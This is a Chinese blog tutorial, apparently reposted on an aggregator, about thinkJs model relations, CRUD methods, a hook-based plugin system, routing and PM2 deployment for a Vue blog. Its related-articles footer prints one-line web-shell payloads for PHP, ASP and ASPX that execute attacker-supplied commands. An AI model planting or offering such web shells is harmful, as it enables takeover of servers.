Vue+thinkJs博客网站(二)之thinkJs的使用

news/2024/4/28 17:24:11/文章来源:https://blog.csdn.net/weixin_34384915/article/details/88602660

一.简介

这个个人博客网站最初制作的目的就是练习使用thinkJs,这一篇就主要讲一下thinkJs的一些特性和注意事项。涉及到了文件上传,thinkJs的插件机制,model层建立以及CURD的编写方式等。本项目github地址在这里。

项目thinkJs端主要参考了知乎上大佬Ischo的文章,链接在这。

二.thinkJs model层写法

这里主要讲两个部分,一是表对应的js文件,二是CRUD写法。项目表结构比较简单,一共八个表,包含多对一,一对多,多对多关系。主要的几个表,都对应着model文件夹下的js文件,表关系也在这个js里维护。这里我们以model/content.js为例讲一哈:

module.exports = class extends think.Model {// 模型关联get relation() {return {category: {type: think.Model.BELONG_TO,model: "meta",key: "category_id",fKey: "id",field: "id,name,slug,description,count"},tag: {type: think.Model.MANY_TO_MANY,model: "meta",rModel: "relationship",rfKey: "meta_id",key: "id",fKey: "content_id",field: "id,name,slug,description,count"},comment: {type: think.Model.HAS_MANY,key: "id",fKey: "content_id",where: "status=99",order: "create_time desc"},user: {type: think.Model.BELONG_TO,model: "user",key: "user_id",fKey: "id",field: "id,username,email,qq,github,weibo,zhihu"}};}// 添加文章async insert(data) {const tags = data.tag;data = this.parseContent(data);delete data.tag;const id = await this.add(data);const relation = [];tags.forEach(val => {relation.push({content_id: id,meta_id: val});});think.model("relationship").addMany(relation);// 更新文章数量this.updateCount(data.category_id, tags);return id;}
}

这里代码没有截全,完整代码看github。

我们看到这个对象分为两部分,一个是get relation写的表映射关系。可以看到content表与meta表存在一对一关系(type: think.Model.BELONG_TO),这里key:category_id是content表里的字段,即外键,fkey:id是对应的meta表里的字段。查询时,会封装层user.category对象,对象属性就是field 定义的id,name,slug,description,count。content 与user也存在多对多关系(type: think.Model.MANY_TO_MANY),rfModel是多对多关系下,对应的关联关系模型名,默认值为二个模型名的组合,rfKey是多对多关系下,关系表对应的 key。

另一个是Model里的方法,相当于自定义的model方法,比如这里定义的insert,就可以在controller里通过this.model('content').insert()调用。

thinkJS的CRUD操作,不是直接写sql,而是在sql基础上封装一层,通过调用model的方法来操作。think.Model 基类提供了丰富的方法进行 CRUD 操作,具体如下:

查询数据
模型提供了多种方法来查询数据,如:find 查询单条数据
select 查询多条数据
count 查询总条数
countSelect 分页查询数据
max 查询字段的最大值
avg 查询字段的平均值
min 查询字段的最小值
sum 对字段值进行求和
getField 查询指定字段的值
同时模型支持通过下面的方法指定 SQL 语句中的特定条件,如:where 指定 SQL 语句中的 where 条件
limit / page 指定 SQL 语句中的 limit
field / fieldReverse 指定 SQL 语句中的 field
order 指定 SQL 语句中的 order
group 指定 SQL 语句中的 group
join 指定 SQL 语句中的 join
union 指定 SQL 语句中的 union
having 指定 SQL 语句中的 having
cache 设置查询缓存
添加数据
模型提供了下列的方法来添加数据:add 添加单条数据
thenAdd where 条件不存在时添加
addMany 添加多条数据
selectAdd 添加子查询的结果数据
更新数据
模型提供了下列的方法来更新数据:update 更新单条数据
updateMany 更新多条数据
thenUpdate 条件式更新
increment 字段增加值
decrement 字段减少值
删除数据
模型提供了下列的方法来删除数据:delete 删除数据
手动执行 SQL 语句
有时候模型包装的方法不能满足所有的情况,这时候需要手工指定 SQL 语句,可以通过下面的方法进行:query 手写 SQL 语句查询
execute 手写 SQL 语句执行

比如我们要查询content表数据,在Controller里通过thin.model('content').where(param).select()来查询。

thinkJs的Model层与之前用过的java的数据层框架hibernate比较相似,都是基于面向对象的思想对sql进行封装,表与Model(实体类),通过model方法进行CRUD操作,特别省sql。

三.插件机制的实现

参考的博主实现的插件机制还是很好用的,这里我就拿了过来。插件机制可以说是自定义的钩子函数。首先在src新建service文件夹,新建js文件(以cache.js为例)

module.exports = class extends think.Service {static registerHook() {return {content: ["contentCreate", "contentUpdate", "contentDelete"]};}/*** 更新内容缓存* @param  {[type]} data [description]* @return {[type]}      [description]*/content(data) {think.cache("recent_content", null);}
};

registerHook里content对应的数组表示钩子函数的调用名,具体调用的是下面的content方法。在controller里这么调用

 await this.hook("contentUpdate", data);

钩子函数的注册这里放到了worker进程里,thinkJs运行流程具体的可以看看官网在这里

work.js代码如下:

think.beforeStartServer(async () => {const hooks = [];for (const Service of Object.values(think.app.services)) {const isHookService = think.isFunction(Service.registerHook);if (!isHookService) {continue;}const service = new Service();const serviceHooks = Service.registerHook();for (const hookFuncName in serviceHooks) {if (!think.isFunction(service[hookFuncName])) {continue;}let funcForHooks = serviceHooks[hookFuncName];if (think.isString(funcForHooks)) {funcForHooks = [funcForHooks];}if (!think.isArray(funcForHooks)) {continue;}for (const hookName of funcForHooks) {if (!hooks[hookName]) {hooks[hookName] = [];}hooks[hookName].push({ service, method: hookFuncName });}}}think.config("hooks", hooks);
});

这里将service里定义的method遍历取出,按一定格式保存并存放到数组,最后放到think.config里面,项目启动后这些过程就已经执行了。

think.Controller本身没有hook方法,这里需要在extend里面加上controller.js,代码如下:

module.exports = {/*** 执行hook* @param  {[type]}    name [description]* @param  {...[type]} args [description]* @return {[type]}         [description]*/async hook(name, ...args) {const { hooks } = think.config();const hookFuncs = hooks[name];if (!think.isArray(hookFuncs)) {return;}for (const { service, method } of hookFuncs) {await service[method](...args);}}
};

这样自定义钩子函数就实现了,一些通用的后置方法就可以直接共用一个了。

四.路由

thinkJs路由写在config/router.js里,具体代码如下:

module.exports = [// RESTFUL[/\/api\/(\w+)(?:\/(.*))?/, 'api/:1?id=:2', 'rest'],[/\/font\/(\w+)\/(\w+)/, 'fontend/:1/:2'],['/:category/:slug', 'content/detail'],['/:category/:slug/comment', 'content/comment']
];

里面的数组的第一个元素是匹配url的表达式,第二个元素是分配的资源,如果是采用RESTFUL规范定义的接口,第三个元素要写作'rest'。本项目的后台接口基本都是采用RESTFUL规范,具体路由的详细讲解可以看官网链接

五.部署

项目线上部署采用PM2管理node进程,部署时把src,view,www,pm2.json,production.js放到服务器上。安装好pm2后运行

pm2 start pm2.json

注意pm2.json里需要修改cwd为服务器上你项目的目录。本项目前后端是一个服务,不存在所以没有用nginx代理。thinkJs部署相关可以看这里

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_785336.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

利用网站上传漏洞使用一句话木马控制服务器

一句话木马 常用于php、asp、aspx php <?php echo shell_exec($_GET[cmd]);?> asp <%execute(request("value"))%> aspx <% Page Language"Jscript"%> <%eval(Request.Item["value"])%> jsp 无回显执行系统命令 <%…

使用基于MVC2模式创建新闻网站

1.什么是MVC MVC全名是Model View Controller&#xff0c;是模型(model)&#xff0d;视图(view)&#xff0d;控制器(controller)的缩写&#xff0c;一种软件设计典范&#xff0c;用一种业务逻辑、数据、界面显示分离的方法组织代码&#xff0c;将业务逻辑聚集到一个部件里面&am…

Yum项目上线实战 (网站运维)-Linux从入门到精通第十一天(非原创)

文章大纲 一、编译安装与卸载Nginx二、关于LAMP三、LAMP环境部署四、学习资料下载五、参考文章 一、编译安装与卸载Nginx Nginx&#xff1a;是一款比较流行的web服务器软件&#xff0c;类似于Apache。 1. Ngnix基础知识与Windows版本安装 https://www.cnblogs.com/WUXIAOCHANG/…

在CentOS 上搭建nginx来部署静态页面网站

在centOs 上搭建nginx来部署静态页面网站 一、部署服务器环境 nginx&#xff1a;轻量级、高性能的HTTP及反向代理服务器&#xff0c;占用内存少&#xff0c;并发能力强&#xff0c;相比老牌的apache作为web服务器&#xff0c;性能更加卓越。 在centOs上&#xff0c;是可以直接用…

爬虫(中文网站)使用lxml解析,出现乱码的解决方案

目录 0x00 问题描述 0x01 解决方案一 0x02 解决方案二 0x00 问题描述 如标题 0x01 解决方案一 情形一 打印结果如下&#xff1a;lantern_riddles为list 解决办法&#xff1a; lantern_riddles str(lantern_riddles).encode(ISO-8859-1).decode(gbk) 0x02 解决方案二 情…

利用haohedi的网页爬虫任务从网站上爬取数据

HHDI爬虫任务配置说明一、 摘要爬虫任务可以从主流网站爬取相关数据存储到目标数据库表或者服务器本地文件夹spider-data中&#xff0c;支持以html和json的形式保存原网页信息。二、 操作步骤本文以安居客&#xff08;https://yt.anjuke.com/sale/laishanqu/&#xff09;网站为…

大华网络摄像头ip搜索工具_茂名搜索营销工具 - 网站建设 - 万词霸屏网络营销-百度优化排名...

茂名搜索营销工具他说站真的不是短期就能见到效果的&#xff0c;我们刚开始在执行诊断方案时很浮躁且缺乏耐心&#xff0c;虽然有良好的执行力&#xff0c;但缺了耐心真的无法继续做下去。站&#xff0c;维诺团队除了建议他多等几个月&#xff0c;把该做的都完善下&#xff0c;…

laravel 开发的双语网站_8 个适合程序员学习新技能的网站

code小生 一个专注大前端领域的技术平台公众号回复Android加入安卓技术群程序员书库(ID:CodingBook)猿妹编译链接&#xff1a;https://medium.com/better-programming/7-great-websites-to-learn-new-tech-skills-c36f39de55b9最近&#xff0c;猿妹一直在和大家分享一些编程学习…

怎么给自己用html做好的网页添加ip地址_小白如何迅速搭建自己的网站(一)

首先我要强调两点&#xff1a;1、本文没有任何形式的销售域名、虚拟主机等相关的广告。2、本文适用于完全不懂代码的小白&#xff0c;用简单且切实有效的野路子&#xff0c;迅速搭建网站。我们来简单了解一下网站运作的原理用户在浏览器中输入网址并请求访问网站&#xff1b;浏…

ui做一个项目需要多久_做一个网站需要多久?

网站的制作时间要取决于我们所选择的建站方式以及相关准备工作&#xff0c;影响网站制作进度的因素有人为因素、也有技术因素&#xff0c;今天我们就来分析一下网站制作时间主要都集中在哪些方面。网站需求分析整理网站前期需求需要与建站公司进行沟通&#xff0c;这部分工作需…

java github 授权登录_vue.js + springboot-网站应用接入GitHub第三方登录

JAVA-网站应用接入GitHub第三方登录相对 网站应用接入 QQ 登录&#xff0c;简单很多&#xff0c;Github 直接创建应用就可以用&#xff0c;不需要长时间的审核(一)准备&#xff0c;创建应用(2)创建应用(3)填写信息(三)后台处理流程(1)前端请求登录&#xff0c;无参数(2)后端重定…

php网站适合优化_大型php网站性能和并发访问优化方案

网站性能优化对于大型网站来说非常重要&#xff0c;一个网站的访问打开速度影响着用户体验度&#xff0c;网站访问速度慢会造成高跳出率&#xff0c;小网站很好解决&#xff0c;那对于大型网站由于栏目多&#xff0c;图片和图像都比较庞大&#xff0c;那该怎么进行整体性能优化…

获取网站的ip地址

1.复制网站网址 2.winr打开cmd命令提示符 3.ping 地址 回车

字 掉落 炫酷 网站_周末觉得无聊?这些奇葩网站你需要了解一下!点击收获快乐...

国庆七天假&#xff0c;有很多朋友会在这个时候去人山人海里旅个游&#xff0c;顺便拍点照片在朋友圈晒幸(ren)福(duo)。而总有一些像你我这样的人&#xff0c;在领导同事的工作重压之下&#xff0c;已经丧失了出门「冲锋陷阵」的勇气&#xff0c;宁愿在家过上几天不洗头不化妆…

html浏览次数纪录,巧用JavaScript记录网站访问次数

巧用JavaScript记录网站访问次数2008-02-23 07:39:20来源&#xff1a;互联网 阅读 ()我们知道Cookie是记录访问你站点的用户的信息&#xff0c;它驻留在用户的硬盘上&#xff0c;如果该用户再次返回你的站点&#xff0c;则该cookie就会被一起发回到你的服务器中&#xff0c;便于…

用 API 提取、写入指定网站的 Cookie - 回复 bangrj 的问题

问题来源: http://www.cnblogs.com/del/archive/2009/02/27/1399526.html#1463307本例效果图:代码文件:unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls;typeTForm1 class(TForm)Button1: TButton;But…

御泥坊搜索引擎优化网络诊断_网络营销外包——网络营销外包专员如何做好网站搜索引擎优化...

相信很多企业在规划网站建设优化时&#xff0c;都曾经了解过竞价排名&#xff0c;前期投入大换来的也仅仅是短期内的效果&#xff0c;因此&#xff0c;一些中小企业却因为高成本退而求其次&#xff0c;选择了尝试搜索引擎优化&#xff0c;那么针对网站排名提升的搜索引擎优化中…

网站如何过服务器的白名单,服务器怎么添加域名白名单

在服务器使用中经常会用到黑白名单规则&#xff0c;比如防火墙白名单、邮件白名单、服务器添加域名白名单主要和备案有关。当网站配置完成后&#xff0c;需要把域名解析到机房IP&#xff0c;而根据工信部要求&#xff0c;使用国内机房必须进行在白名单管理界面&#xff0c;可以…

令人印象深刻的使用独特javascript动画效果的网站

原文&#xff1a;queness.com 编译&#xff1a;GBin1.com 今天GBin1推荐一篇来自queness的文章&#xff0c;介绍了一些使用javascript的动画特效的网站。 Javascript技术的应用使得动画效果更加炫酷&#xff0c;最后一个绝对值得大家欣赏&#xff01; 飞翔的艺术 Rever…

宅男网上购买大家电对各大网站的总结

家里要买一些家电&#xff0c;我又正好在家闲着&#xff0c;那这个光荣的任务当然是我来做&#xff0c;但我可不愿意到国美苏宁这样的商场去逛&#xff0c;我是技术指标狂&#xff0c;到那种地方服务员还没我懂&#xff0c;关键是还价了半天还没有网上的便宜&#xff0c;费那个…